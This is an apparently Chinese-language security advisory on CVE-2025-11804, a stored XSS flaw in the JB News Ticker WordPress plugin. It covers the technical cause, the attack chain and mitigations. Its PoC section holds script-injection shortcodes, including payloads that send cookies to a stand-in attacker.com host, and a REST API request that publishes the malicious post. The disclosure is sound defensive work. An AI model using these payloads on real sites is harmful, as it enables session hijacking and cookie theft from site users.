IPBUF安全漏洞报告
English
CVE-2025-11804 CVSS 6.4 中危

CVE-2025-11804:JB News Ticker插件存储型XSS漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11804
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JB News Ticker(WordPress插件)

相关标签

XSS存储型XSSStored XSS跨站脚本WordPressWordPress插件JB News Ticker短代码注入ShortcodeCVE-2025-11804

漏洞概述

CVE-2025-11804是WordPress的JB News Ticker插件中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的研究员发现并报告,CVSS评分为6.4,属于中危级别。

JB News Ticker是一款用于在WordPress网站上展示新闻滚动条效果的插件,通过短代码(shortcode)方式嵌入到页面中。该插件在所有1.0及以下版本中均存在安全缺陷,具体表现为对短代码'id'属性的输入过滤和输出转义处理不足。

攻击者需要拥有Contributor(投稿者)及以上级别的WordPress账户权限才能利用此漏洞。一旦成功利用,攻击者可以在页面中注入任意恶意JavaScript脚本。当其他用户(包括管理员)访问包含恶意脚本的页面时,脚本将在受害者浏览器中自动执行,可能导致会话劫持、权限提升、钓鱼攻击、数据窃取等一系列安全问题。由于该漏洞属于存储型XSS,恶意代码会被持久化保存在数据库中,影响范围更广,危害更大。

技术细节

该漏洞的核心问题在于JB News Ticker插件的'jbticker'短代码处理逻辑中,对'id'属性参数缺乏充分的输入净化(sanitization)和输出转义(escaping)机制。

在WordPress插件开发中,短代码(shortcode)允许开发者创建自定义的内容标签,如[jbticker id="1"]。插件通过register_shortcode()注册短代码处理函数,解析短代码属性后将其输出到页面。然而,JB News Ticker插件在处理'id'属性时,直接将用户输入的值嵌入到HTML输出中,而没有调用WordPress提供的安全函数如esc_attr()、esc_html()或wp_kses_post()等进行转义。

具体漏洞代码位于jb-plugin-hook.php文件的第36行和第45行附近。攻击者可以构造如下恶意短代码:

[jbticker id=""><script>alert('XSS')</script>"]

当该短代码被保存到文章或页面中后,恶意脚本将随页面内容一起存储到WordPress数据库。每当有用户访问该页面,浏览器将解析并执行嵌入的JavaScript代码。

由于该漏洞需要Contributor级别权限才能利用,攻击者首先需要获取或注册一个Contributor账户。在WordPress中,如果站点开放用户注册,攻击者可以自行注册获得该级别权限。随后,攻击者创建包含恶意短代码的文章,等待管理员审核发布(Contributor默认需要审核),或者利用其他已发布渠道注入恶意内容。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过注册或社工手段获取目标WordPress站点的Contributor(投稿者)级别账户。如果站点开放注册,可直接注册获得该权限。
STEP 2
步骤2:构造恶意短代码
攻击者构造包含恶意JavaScript的jbticker短代码,利用'id'属性注入未转义的HTML/JS代码,如:[jbticker id=""><script>恶意代码</script>"]
STEP 3
步骤3:注入存储型载荷
攻击者创建包含恶意短代码的文章或页面,将恶意内容提交存储到WordPress数据库中。Contributor账户默认需要管理员审核才能发布。
STEP 4
步骤4:等待受害者访问
管理员审核文章并发布后,或攻击者通过其他方式使页面被访问时,任何访问该页面的用户浏览器都会自动执行恶意脚本。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者浏览器中执行,可窃取Cookie、会话令牌,进行权限提升(如创建管理员账户),植入后门,或进行钓鱼攻击等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-11804: Stored XSS in JB News Ticker Plugin --> <!-- Step 1: Login as Contributor or higher role --> <!-- Step 2: Create a new post with the following shortcode in content --> [jbticker id=""><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>"] <!-- Alternative payload using event handler --> [jbticker id="" onmouseover="alert(document.domain)" x=""] <!-- Step 3: Submit post for review (or publish if allowed) --> <!-- Step 4: When admin or any user visits the page, the XSS payload executes --> <!-- Exploitation via REST API (automated) --> <!-- Using WordPress REST API to create post with malicious content --> POST /wp-json/wp/v2/posts HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/json Cookie: wordpress_logged_in_xxxxx=... { "title": "Test Post", "content": "[jbticker id=\"\"><script>fetch('https://attacker.com/log?c='+document.cookie)</script>\"]", "status": "publish" }

影响范围

JB News Ticker <= 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)暂时禁用或卸载JB News Ticker插件;2)如必须使用,应严格审核Contributor及以上用户发布的所有内容,检查短代码中是否包含可疑的HTML或JavaScript代码;3)在Web服务器层面配置内容安全策略(CSP),限制内联脚本执行;4)降低用户权限,关闭开放注册功能,避免未授权用户获取Contributor权限;5)使用安全插件监控和拦截可疑的XSS载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表